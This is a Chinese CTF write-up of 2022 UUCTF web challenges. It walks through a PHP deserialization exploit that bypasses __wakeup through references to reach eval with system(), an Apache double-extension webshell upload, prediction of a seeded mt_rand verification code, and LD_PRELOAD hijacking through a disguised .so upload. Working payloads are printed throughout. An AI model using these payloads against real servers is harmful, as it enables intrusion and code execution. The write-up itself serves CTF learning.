2022UUCTF--WEB( 二 )


2022UUCTF--WEB

文章插图
ez_unser -- 引用绕过wakeup反序列化 审计代码
class test{public $a;public $b;public $c;public function __construct(){$this->a=1;$this->b=2;$this->c=3;}public function __wakeup(){$this->a='';}public function __destruct(){// 可以看到这里有一个 $this->b=$this->c; 这里就是我们利用的地方// 这里说下php引用问题 当a=&b是 a和b分配的是同一快内存地址 也就是 a b永远相等$this->b=$this->c;// 终点eval($this->a);}}$a=$_GET['a'];// 这里限制我们不能修改test后的参数 也就是不可以通过修改参数绕过 __wakeupif(!preg_match('/test":3/i',$a)){die("你输入的不正确!!!搞什么!!");}$bbb=unserialize($_GET['a']);构造POC
class test{public $a;public $b;public $c;public function __construct(){$this->a=&$this->b;$this->b=2;$this->c="system('ls');";}}echo((serialize(new test())));
2022UUCTF--WEB

文章插图

2022UUCTF--WEB

文章插图
最终的payload
<?phpclass test{public $a;public $b;public $c;public function __construct(){$this->a=&$this->b;$this->b=2;$this->c="system('cat /f*');";}}echo((serialize(new test())));ez_upload--apache解析漏洞
文件上传也就是哪些方式 一个一个试就好
apache解析漏洞 上传shell.jpg.php即可
2022UUCTF--WEB

文章插图
phonecode--mt_rand函数hint:你能猜到验证码吗? 猜测就是随机数预判
打开题目 根据提示 意思就是让我们猜验证码是什么
2022UUCTF--WEB

文章插图
我们先输入手机号和验证码试试,发现无论请求多少次 hint永远是895547922,结合mt_srand和mt_rand函数 当设置的种子确定(此处的种子时输入的手机号)时,每次的mt_rand都是固定的 我们可以猜测hint就是mt_rand的第一次,而目的验证码就是mt_rand的第二次
mt_srand(11111);echo mt_rand(); // 一直是恒定的echo mt_rand(); // 一直是恒定的echo mt_rand(); // 一直是恒定的
2022UUCTF--WEB

文章插图
我们写代码 弄出第二次的mt_rand
mt_srand(123);echo mt_rand()."\n";//895547922echo mt_rand()."\n";//2141438069发现果然 第一次的mt_rand就是hint
我们将code改为2141438069
2022UUCTF--WEB

文章插图
uploadandinject--LD_PRELOAD劫持打开题目发现有hint
2022UUCTF--WEB

文章插图
看看hint,意思就是看看swp(Linuxvim产生的文件).index.php.swp或者看到swp扫描就好
2022UUCTF--WEB

文章插图
下载 可以看到源码 使用 vi -r index.php.swp 恢复文件内容
$PATH=$_GET["image_path"];if((!isset($PATH))){$PATH="upload/1.jpg";}echo "<div align='center'>";loadimg($PATH);echo "</div>";function loadimg($img_path){if(file_exists($img_path)){//设置环境变量的值 添加 setting 到服务器环境变量 。环境变量仅存活于当前请求期间 。在请求结束时环境会恢复到初始状态 设置.soLD_PRELOAD设置的优先加载动态链接库putenv("LD_PRELOAD=/var/www/html/$img_path");system("echo Success to load");echo "<br><img src=https://www.huyubaike.com/biancheng/$img_path>";}else{system("echo Failed to load ");}}而且我们笃定是有上传的网页的,限制了文件类型 我们想要上传的是so,但是LD_PRELOAD也能解析jpg后缀 所以修改后缀上传就可以

经验总结扩展阅读